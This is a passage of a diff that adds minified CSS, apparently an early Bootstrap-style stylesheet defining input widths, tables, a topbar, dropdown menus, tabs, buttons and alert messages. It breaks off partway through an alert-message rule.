+.input-medium,input.medium,textarea.medium,select.medium{width:150px;} +.input-large,input.large,textarea.large,select.large{width:210px;} +.input-xlarge,input.xlarge,textarea.xlarge,select.xlarge{width:270px;} +.input-xxlarge,input.xxlarge,textarea.xxlarge,select.xxlarge{width:530px;} +textarea.xxlarge{overflow-y:auto;} +input.span1,textarea.span1{display:inline-block;float:none;width:30px;margin-left:0;} +input.span2,textarea.span2{display:inline-block;float:none;width:90px;margin-left:0;} +input.span3,textarea.span3{display:inline-block;float:none;width:150px;margin-left:0;} +input.span4,textarea.span4{display:inline-block;float:none;width:210px;margin-left:0;} +input.span5,textarea.span5{display:inline-block;float:none;width:270px;margin-left:0;} +input.span6,textarea.span6{display:inline-block;float:none;width:330px;margin-left:0;} +input.span7,textarea.span7{display:inline-block;float:none;width:390px;margin-left:0;} +input.span8,textarea.span8{display:inline-block;float:none;width:450px;margin-left:0;} +input.span9,textarea.span9{display:inline-block;float:none;width:510px;margin-left:0;} +input.span10,textarea.span10{display:inline-block;float:none;width:570px;margin-left:0;} +input.span11,textarea.span11{display:inline-block;float:none;width:630px;margin-left:0;} +input.span12,textarea.span12{display:inline-block;float:none;width:690px;margin-left:0;} +input.span13,textarea.span13{display:inline-block;float:none;width:750px;margin-left:0;} +input.span14,textarea.span14{display:inline-block;float:none;width:810px;margin-left:0;} +input.span15,textarea.span15{display:inline-block;float:none;width:870px;margin-left:0;} +input.span16,textarea.span16{display:inline-block;float:none;width:930px;margin-left:0;} +input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{background-color:#f5f5f5;border-color:#ddd;cursor:not-allowed;} +.actions{background:#f5f5f5;margin-top:18px;margin-bottom:18px;padding:17px 20px 18px 150px;border-top:1px solid #ddd;-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;}.actions .secondary-action{float:right;}.actions .secondary-action a{line-height:30px;}.actions .secondary-action a:hover{text-decoration:underline;} +.help-inline,.help-block{font-size:13px;line-height:18px;color:#bfbfbf;} +.help-inline{padding-left:5px;*position:relative;*top:-5px;} +.help-block{display:block;max-width:600px;} +.inline-inputs{color:#808080;}.inline-inputs span{padding:0 2px 0 1px;} +.input-prepend input,.input-append input{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;} +.input-prepend .add-on,.input-append .add-on{position:relative;background:#f5f5f5;border:1px solid #ccc;z-index:2;float:left;display:block;width:auto;min-width:16px;height:18px;padding:4px 4px 4px 5px;margin-right:-1px;font-weight:normal;line-height:18px;color:#bfbfbf;text-align:center;text-shadow:0 1px 0 #ffffff;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} +.input-prepend .active,.input-append .active{background:#a9dba9;border-color:#46a546;} +.input-prepend .add-on{*margin-top:1px;} +.input-append input{float:left;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} +.input-append .add-on{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;margin-right:0;margin-left:-1px;} +.inputs-list{margin:0 0 5px;width:100%;}.inputs-list li{display:block;padding:0;width:100%;} +.inputs-list label{display:block;float:none;width:auto;padding:0;margin-left:20px;line-height:18px;text-align:left;white-space:normal;}.inputs-list label strong{color:#808080;} +.inputs-list label small{font-size:11px;font-weight:normal;} +.inputs-list .inputs-list{margin-left:25px;margin-bottom:10px;padding-top:0;} +.inputs-list:first-child{padding-top:6px;} +.inputs-list li+li{padding-top:2px;} +.inputs-list input[type=radio],.inputs-list input[type=checkbox]{margin-bottom:0;margin-left:-20px;float:left;} +.form-stacked{padding-left:20px;}.form-stacked fieldset{padding-top:9px;} +.form-stacked legend{padding-left:0;} +.form-stacked label{display:block;float:none;width:auto;font-weight:bold;text-align:left;line-height:20px;padding-top:0;} +.form-stacked .clearfix{margin-bottom:9px;}.form-stacked .clearfix div.input{margin-left:0;} +.form-stacked .inputs-list{margin-bottom:0;}.form-stacked .inputs-list li{padding-top:0;}.form-stacked .inputs-list li label{font-weight:normal;padding-top:0;} +.form-stacked div.clearfix.error{padding-top:10px;padding-bottom:10px;padding-left:10px;margin-top:0;margin-left:-10px;} +.form-stacked .actions{margin-left:-20px;padding-left:20px;} +table{width:100%;margin-bottom:18px;padding:0;font-size:13px;border-collapse:collapse;}table th,table td{padding:10px 10px 9px;line-height:18px;text-align:left;} +table th{padding-top:9px;font-weight:bold;vertical-align:middle;} +table td{vertical-align:top;border-top:1px solid #ddd;} +table tbody th{border-top:1px solid #ddd;vertical-align:top;} +.condensed-table th,.condensed-table td{padding:5px 5px 4px;} +.bordered-table{border:1px solid #ddd;border-collapse:separate;*border-collapse:collapse;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.bordered-table th+th,.bordered-table td+td,.bordered-table th+td{border-left:1px solid #ddd;} +.bordered-table thead tr:first-child th:first-child,.bordered-table tbody tr:first-child td:first-child{-webkit-border-radius:4px 0 0 0;-moz-border-radius:4px 0 0 0;border-radius:4px 0 0 0;} +.bordered-table thead tr:first-child th:last-child,.bordered-table tbody tr:first-child td:last-child{-webkit-border-radius:0 4px 0 0;-moz-border-radius:0 4px 0 0;border-radius:0 4px 0 0;} +.bordered-table tbody tr:last-child td:first-child{-webkit-border-radius:0 0 0 4px;-moz-border-radius:0 0 0 4px;border-radius:0 0 0 4px;} +.bordered-table tbody tr:last-child td:last-child{-webkit-border-radius:0 0 4px 0;-moz-border-radius:0 0 4px 0;border-radius:0 0 4px 0;} +table .span1{width:20px;} +table .span2{width:60px;} +table .span3{width:100px;} +table .span4{width:140px;} +table .span5{width:180px;} +table .span6{width:220px;} +table .span7{width:260px;} +table .span8{width:300px;} +table .span9{width:340px;} +table .span10{width:380px;} +table .span11{width:420px;} +table .span12{width:460px;} +table .span13{width:500px;} +table .span14{width:540px;} +table .span15{width:580px;} +table .span16{width:620px;} +.zebra-striped tbody tr:nth-child(odd) td,.zebra-striped tbody tr:nth-child(odd) th{background-color:#f9f9f9;} +.zebra-striped tbody tr:hover td,.zebra-striped tbody tr:hover th{background-color:#f5f5f5;} +table .header{cursor:pointer;}table .header:after{content:"";float:right;margin-top:7px;border-width:0 4px 4px;border-style:solid;border-color:#000 transparent;visibility:hidden;} +table .headerSortUp,table .headerSortDown{background-color:rgba(141, 192, 219, 0.25);text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);} +table .header:hover:after{visibility:visible;} +table .headerSortDown:after,table .headerSortDown:hover:after{visibility:visible;filter:alpha(opacity=60);-khtml-opacity:0.6;-moz-opacity:0.6;opacity:0.6;} +table .headerSortUp:after{border-bottom:none;border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid #000;visibility:visible;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;filter:alpha(opacity=60);-khtml-opacity:0.6;-moz-opacity:0.6;opacity:0.6;} +table .blue{color:#049cdb;border-bottom-color:#049cdb;} +table .headerSortUp.blue,table .headerSortDown.blue{background-color:#ade6fe;} +table .green{color:#46a546;border-bottom-color:#46a546;} +table .headerSortUp.green,table .headerSortDown.green{background-color:#cdeacd;} +table .red{color:#9d261d;border-bottom-color:#9d261d;} +table .headerSortUp.red,table .headerSortDown.red{background-color:#f4c8c5;} +table .yellow{color:#ffc40d;border-bottom-color:#ffc40d;} +table .headerSortUp.yellow,table .headerSortDown.yellow{background-color:#fff6d9;} +table .orange{color:#f89406;border-bottom-color:#f89406;} +table .headerSortUp.orange,table .headerSortDown.orange{background-color:#fee9cc;} +table .purple{color:#7a43b6;border-bottom-color:#7a43b6;} +table .headerSortUp.purple,table .headerSortDown.purple{background-color:#e2d5f0;} +.topbar{height:40px;position:fixed;top:0;left:0;right:0;z-index:10000;overflow:visible;}.topbar a{color:#bfbfbf;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);} +.topbar h3 a:hover,.topbar .brand:hover,.topbar ul .active>a{background-color:#333;background-color:rgba(255, 255, 255, 0.05);color:#ffffff;text-decoration:none;} +.topbar h3{position:relative;} +.topbar h3 a,.topbar .brand{float:left;display:block;padding:8px 20px 12px;margin-left:-20px;color:#ffffff;font-size:20px;font-weight:200;line-height:1;} +.topbar p{margin:0;line-height:40px;}.topbar p a:hover{background-color:transparent;color:#ffffff;} +.topbar form{float:left;margin:5px 0 0 0;position:relative;filter:alpha(opacity=100);-khtml-opacity:1;-moz-opacity:1;opacity:1;} +.topbar form.pull-right{float:right;} +.topbar input{background-color:#444;background-color:rgba(255, 255, 255, 0.3);font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:normal;font-weight:13px;line-height:1;padding:4px 9px;color:#ffffff;color:rgba(255, 255, 255, 0.75);border:1px solid #111;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.25);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.25);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.25);-webkit-transition:none;-moz-transition:none;-ms-transition:none;-o-transition:none;transition:none;}.topbar input:-moz-placeholder{color:#e6e6e6;} +.topbar input::-webkit-input-placeholder{color:#e6e6e6;} +.topbar input:hover{background-color:#bfbfbf;background-color:rgba(255, 255, 255, 0.5);color:#ffffff;} +.topbar input:focus,.topbar input.focused{outline:0;background-color:#ffffff;color:#404040;text-shadow:0 1px 0 #ffffff;border:0;padding:5px 10px;-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);box-shadow:0 0 3px rgba(0, 0, 0, 0.15);} +.topbar-inner,.topbar .fill{background-color:#222;background-color:#222222;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#333333), to(#222222));background-image:-moz-linear-gradient(top, #333333, #222222);background-image:-ms-linear-gradient(top, #333333, #222222);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #333333), color-stop(100%, #222222));background-image:-webkit-linear-gradient(top, #333333, #222222);background-image:-o-linear-gradient(top, #333333, #222222);background-image:linear-gradient(top, #333333, #222222);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);} +.topbar div>ul,.nav{display:block;float:left;margin:0 10px 0 0;position:relative;left:0;}.topbar div>ul>li,.nav>li{display:block;float:left;} +.topbar div>ul a,.nav a{display:block;float:none;padding:10px 10px 11px;line-height:19px;text-decoration:none;}.topbar div>ul a:hover,.nav a:hover{color:#ffffff;text-decoration:none;} +.topbar div>ul .active>a,.nav .active>a{background-color:#222;background-color:rgba(0, 0, 0, 0.5);} +.topbar div>ul.secondary-nav,.nav.secondary-nav{float:right;margin-left:10px;margin-right:0;}.topbar div>ul.secondary-nav .menu-dropdown,.nav.secondary-nav .menu-dropdown,.topbar div>ul.secondary-nav .dropdown-menu,.nav.secondary-nav .dropdown-menu{right:0;border:0;} +.topbar div>ul a.menu:hover,.nav a.menu:hover,.topbar div>ul li.open .menu,.nav li.open .menu,.topbar div>ul .dropdown-toggle:hover,.nav .dropdown-toggle:hover,.topbar div>ul .dropdown.open .dropdown-toggle,.nav .dropdown.open .dropdown-toggle{background:#444;background:rgba(255, 255, 255, 0.05);} +.topbar div>ul .menu-dropdown,.nav .menu-dropdown,.topbar div>ul .dropdown-menu,.nav .dropdown-menu{background-color:#333;}.topbar div>ul .menu-dropdown a.menu,.nav .menu-dropdown a.menu,.topbar div>ul .dropdown-menu a.menu,.nav .dropdown-menu a.menu,.topbar div>ul .menu-dropdown .dropdown-toggle,.nav .menu-dropdown .dropdown-toggle,.topbar div>ul .dropdown-menu .dropdown-toggle,.nav .dropdown-menu .dropdown-toggle{color:#ffffff;}.topbar div>ul .menu-dropdown a.menu.open,.nav .menu-dropdown a.menu.open,.topbar div>ul .dropdown-menu a.menu.open,.nav .dropdown-menu a.menu.open,.topbar div>ul .menu-dropdown .dropdown-toggle.open,.nav .menu-dropdown .dropdown-toggle.open,.topbar div>ul .dropdown-menu .dropdown-toggle.open,.nav .dropdown-menu .dropdown-toggle.open{background:#444;background:rgba(255, 255, 255, 0.05);} +.topbar div>ul .menu-dropdown li a,.nav .menu-dropdown li a,.topbar div>ul .dropdown-menu li a,.nav .dropdown-menu li a{color:#999;text-shadow:0 1px 0 rgba(0, 0, 0, 0.5);}.topbar div>ul .menu-dropdown li a:hover,.nav .menu-dropdown li a:hover,.topbar div>ul .dropdown-menu li a:hover,.nav .dropdown-menu li a:hover{background-color:#191919;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#292929), to(#191919));background-image:-moz-linear-gradient(top, #292929, #191919);background-image:-ms-linear-gradient(top, #292929, #191919);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #292929), color-stop(100%, #191919));background-image:-webkit-linear-gradient(top, #292929, #191919);background-image:-o-linear-gradient(top, #292929, #191919);background-image:linear-gradient(top, #292929, #191919);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#292929', endColorstr='#191919', GradientType=0);color:#ffffff;} +.topbar div>ul .menu-dropdown .active a,.nav .menu-dropdown .active a,.topbar div>ul .dropdown-menu .active a,.nav .dropdown-menu .active a{color:#ffffff;} +.topbar div>ul .menu-dropdown .divider,.nav .menu-dropdown .divider,.topbar div>ul .dropdown-menu .divider,.nav .dropdown-menu .divider{background-color:#222;border-color:#444;} +.topbar ul .menu-dropdown li a,.topbar ul .dropdown-menu li a{padding:4px 15px;} +li.menu,.dropdown{position:relative;} +a.menu:after,.dropdown-toggle:after{width:0;height:0;display:inline-block;content:"↓";text-indent:-99999px;vertical-align:top;margin-top:8px;margin-left:4px;border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid #ffffff;filter:alpha(opacity=50);-khtml-opacity:0.5;-moz-opacity:0.5;opacity:0.5;} +.menu-dropdown,.dropdown-menu{background-color:#ffffff;float:left;display:none;position:absolute;top:40px;z-index:900;min-width:160px;max-width:220px;_width:160px;margin-left:0;margin-right:0;padding:6px 0;zoom:1;border-color:#999;border-color:rgba(0, 0, 0, 0.2);border-style:solid;border-width:0 1px 1px;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-box-shadow:0 2px 4px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 2px 4px rgba(0, 0, 0, 0.2);box-shadow:0 2px 4px rgba(0, 0, 0, 0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.menu-dropdown li,.dropdown-menu li{float:none;display:block;background-color:none;} +.menu-dropdown .divider,.dropdown-menu .divider{height:1px;margin:5px 0;overflow:hidden;background-color:#eee;border-bottom:1px solid #ffffff;} +.topbar .dropdown-menu a,.dropdown-menu a{display:block;padding:4px 15px;clear:both;font-weight:normal;line-height:18px;color:#808080;text-shadow:0 1px 0 #ffffff;}.topbar .dropdown-menu a:hover,.dropdown-menu a:hover,.topbar .dropdown-menu a.hover,.dropdown-menu a.hover{background-color:#dddddd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#eeeeee), to(#dddddd));background-image:-moz-linear-gradient(top, #eeeeee, #dddddd);background-image:-ms-linear-gradient(top, #eeeeee, #dddddd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #eeeeee), color-stop(100%, #dddddd));background-image:-webkit-linear-gradient(top, #eeeeee, #dddddd);background-image:-o-linear-gradient(top, #eeeeee, #dddddd);background-image:linear-gradient(top, #eeeeee, #dddddd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#dddddd', GradientType=0);color:#404040;text-decoration:none;-webkit-box-shadow:inset 0 1px 0 rgba(0, 0, 0, 0.025),inset 0 -1px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 0 rgba(0, 0, 0, 0.025),inset 0 -1px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 0 rgba(0, 0, 0, 0.025),inset 0 -1px rgba(0, 0, 0, 0.025);} +.open .menu,.dropdown.open .menu,.open .dropdown-toggle,.dropdown.open .dropdown-toggle{color:#ffffff;background:#ccc;background:rgba(0, 0, 0, 0.3);} +.open .menu-dropdown,.dropdown.open .menu-dropdown,.open .dropdown-menu,.dropdown.open .dropdown-menu{display:block;} +.tabs,.pills{margin:0 0 18px;padding:0;list-style:none;zoom:1;}.tabs:before,.pills:before,.tabs:after,.pills:after{display:table;content:"";zoom:1;} +.tabs:after,.pills:after{clear:both;} +.tabs>li,.pills>li{float:left;}.tabs>li>a,.pills>li>a{display:block;} +.tabs{border-color:#ddd;border-style:solid;border-width:0 0 1px;}.tabs>li{position:relative;margin-bottom:-1px;}.tabs>li>a{padding:0 15px;margin-right:2px;line-height:34px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;}.tabs>li>a:hover{text-decoration:none;background-color:#eee;border-color:#eee #eee #ddd;} +.tabs .active>a,.tabs .active>a:hover{color:#808080;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default;} +.tabs .menu-dropdown,.tabs .dropdown-menu{top:35px;border-width:1px;-webkit-border-radius:0 6px 6px 6px;-moz-border-radius:0 6px 6px 6px;border-radius:0 6px 6px 6px;} +.tabs a.menu:after,.tabs .dropdown-toggle:after{border-top-color:#999;margin-top:15px;margin-left:5px;} +.tabs li.open.menu .menu,.tabs .open.dropdown .dropdown-toggle{border-color:#999;} +.tabs li.open a.menu:after,.tabs .dropdown.open .dropdown-toggle:after{border-top-color:#555;} +.pills a{margin:5px 3px 5px 0;padding:0 15px;line-height:30px;text-shadow:0 1px 1px #ffffff;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;}.pills a:hover{color:#ffffff;text-decoration:none;text-shadow:0 1px 1px rgba(0, 0, 0, 0.25);background-color:#00438a;} +.pills .active a{color:#ffffff;text-shadow:0 1px 1px rgba(0, 0, 0, 0.25);background-color:#0069d6;} +.pills-vertical>li{float:none;} +.tab-content>.tab-pane,.pill-content>.pill-pane,.tab-content>div,.pill-content>div{display:none;} +.tab-content>.active,.pill-content>.active{display:block;} +.breadcrumb{padding:7px 14px;margin:0 0 18px;background-color:#f5f5f5;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#ffffff), to(#f5f5f5));background-image:-moz-linear-gradient(top, #ffffff, #f5f5f5);background-image:-ms-linear-gradient(top, #ffffff, #f5f5f5);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #ffffff), color-stop(100%, #f5f5f5));background-image:-webkit-linear-gradient(top, #ffffff, #f5f5f5);background-image:-o-linear-gradient(top, #ffffff, #f5f5f5);background-image:linear-gradient(top, #ffffff, #f5f5f5);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f5f5f5', GradientType=0);border:1px solid #ddd;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff;}.breadcrumb li{display:inline;text-shadow:0 1px 0 #ffffff;} +.breadcrumb .divider{padding:0 5px;color:#bfbfbf;} +.breadcrumb .active a{color:#404040;} +.hero-unit{background-color:#f5f5f5;margin-bottom:30px;padding:60px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;}.hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px;} +.hero-unit p{font-size:18px;font-weight:200;line-height:27px;} +footer{margin-top:17px;padding-top:17px;border-top:1px solid #eee;} +.page-header{margin-bottom:17px;border-bottom:1px solid #ddd;-webkit-box-shadow:0 1px 0 rgba(255, 255, 255, 0.5);-moz-box-shadow:0 1px 0 rgba(255, 255, 255, 0.5);box-shadow:0 1px 0 rgba(255, 255, 255, 0.5);}.page-header h1{margin-bottom:8px;} +.btn.danger,.alert-message.danger,.btn.danger:hover,.alert-message.danger:hover,.btn.error,.alert-message.error,.btn.error:hover,.alert-message.error:hover,.btn.success,.alert-message.success,.btn.success:hover,.alert-message.success:hover,.btn.info,.alert-message.info,.btn.info:hover,.alert-message.info:hover{color:#ffffff;} +.btn .close,.alert-message .close{font-family:Arial,sans-serif;line-height:18px;} +.btn.danger,.alert-message.danger,.btn.error,.alert-message.error{background-color:#c43c35;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35));background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-ms-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(top, #ee5f5b, #c43c35);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#c43c35 #c43c35 #882a25;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} +.btn.success,.alert-message.success{background-color:#57a957;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#62c462), to(#57a957));background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-ms-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #62c462), color-stop(100%, #57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(top, #62c462, #57a957);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#57a957 #57a957 #3d773d;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} +.btn.info,.alert-message.info{background-color:#339bb9;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#5bc0de), to(#339bb9));background-image:-moz-linear-gradient(top, #5bc0de, #339bb9);background-image:-ms-linear-gradient(top, #5bc0de, #339bb9);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #5bc0de), color-stop(100%, #339bb9));background-image:-webkit-linear-gradient(top, #5bc0de, #339bb9);background-image:-o-linear-gradient(top, #5bc0de, #339bb9);background-image:linear-gradient(top, #5bc0de, #339bb9);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de', endColorstr='#339bb9', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#339bb9 #339bb9 #22697d;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} +.btn{cursor:pointer;display:inline-block;background-color:#e6e6e6;background-repeat:no-repeat;background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:-moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6);background-image:-ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:-o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);padding:5px 14px 6px;text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);color:#333;font-size:13px;line-height:normal;border:1px solid #ccc;border-bottom-color:#bbb;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);-webkit-transition:0.1s linear all;-moz-transition:0.1s linear all;-ms-transition:0.1s linear all;-o-transition:0.1s linear all;transition:0.1s linear all;}.btn:hover{background-position:0 -15px;color:#333;text-decoration:none;} +.btn:focus{outline:1px dotted #666;} +.btn.primary{color:#ffffff;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, #0064cd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd));background-image:-webkit-linear-gradient(top, #049cdb, #0064cd);background-image:-o-linear-gradient(top, #049cdb, #0064cd);background-image:linear-gradient(top, #049cdb, #0064cd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#0064cd #0064cd #003f81;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} +.btn.active,.btn:active{-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.25),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.25),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.25),0 1px 2px rgba(0, 0, 0, 0.05);} +.btn.disabled{cursor:default;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:alpha(opacity=65);-khtml-opacity:0.65;-moz-opacity:0.65;opacity:0.65;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} +.btn[disabled]{cursor:default;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:alpha(opacity=65);-khtml-opacity:0.65;-moz-opacity:0.65;opacity:0.65;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} +.btn.large{font-size:15px;line-height:normal;padding:9px 14px 9px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;} +.btn.small{padding:7px 9px 7px;font-size:11px;} +:root .alert-message,:root .btn{border-radius:0 \0;} +button.btn::-moz-focus-inner,input[type=submit].btn::-moz-focus-inner{padding:0;border:0;} +.close{float:right;color:#000000;font-size:20px;font-weight:bold;line-height:13.5px;text-shadow:0 1px 0 #ffffff;filter:alpha(opacity=25);-khtml-opacity:0.25;-moz-opacity:0.25;opacity:0.25;}.close:hover{color:#000000;text-decoration:none;filter:alpha(opacity=40);-khtml-opacity:0.4;-moz-opacity:0.4;opacity:0.4;} +.alert-message{position:relative;padding:7px 15px;margin-bottom:18px;color:#404040;background-color:#eedc94;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#fceec1), to(#eedc94));background-image:-moz-linear-gradient(top, #fceec1, #eedc94);background-image:-ms-linear-gradient(top, #fceec1, #eedc94);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #fceec1), color-stop(100%, #eedc94));background-image:-webkit-linear-gradient(top, #fceec1, #eedc94);background-image:-o-linear-gradient(top, #fceec1, #eedc94);background-image:linear-gradient(top, #fceec1, #eedc94);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fceec1', endColorstr='#eedc94', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#eedc94 #eedc94 #e4c652;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);border-width:1px;border-style:solid;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.25);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.25);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.25);}.alert-message .close{margin-top:1px;*margin-top:0;} +.alert-message a{font-weight:bold;color:#404040;} +.alert-message.danger p a,.alert-message.error p a,.alert-message.success p a,.alert-message.info p a{color:#ffffff;} +.alert-message h5{line-height:18px;} +.alert-message p{margin-bottom:0;} +.alert-message div{margin-top:5px;margin-bottom:2px;line-height:28px;} +.alert-message .btn{-webkit-box-shadow:0 1px 0 rgba(255, 255, 255, 0.25);-moz-box-shadow:0 1px 0 rgba(255, 255, 255, 0.25);box-shadow:0 1px 0 rgba(255, 255, 255, 0.25);} +.alert-message.block-message{background-image:none;background-color:#fdf5d9;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);padding:14px;border-color:#fceec1;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}.alert-message.block-message ul,.alert-message.block-message p{margin-right:30px;} +.alert-message.block-message ul{margin-bottom:0;} +.alert-message.block-message li{color:#404040;} +.alert-message.block-message 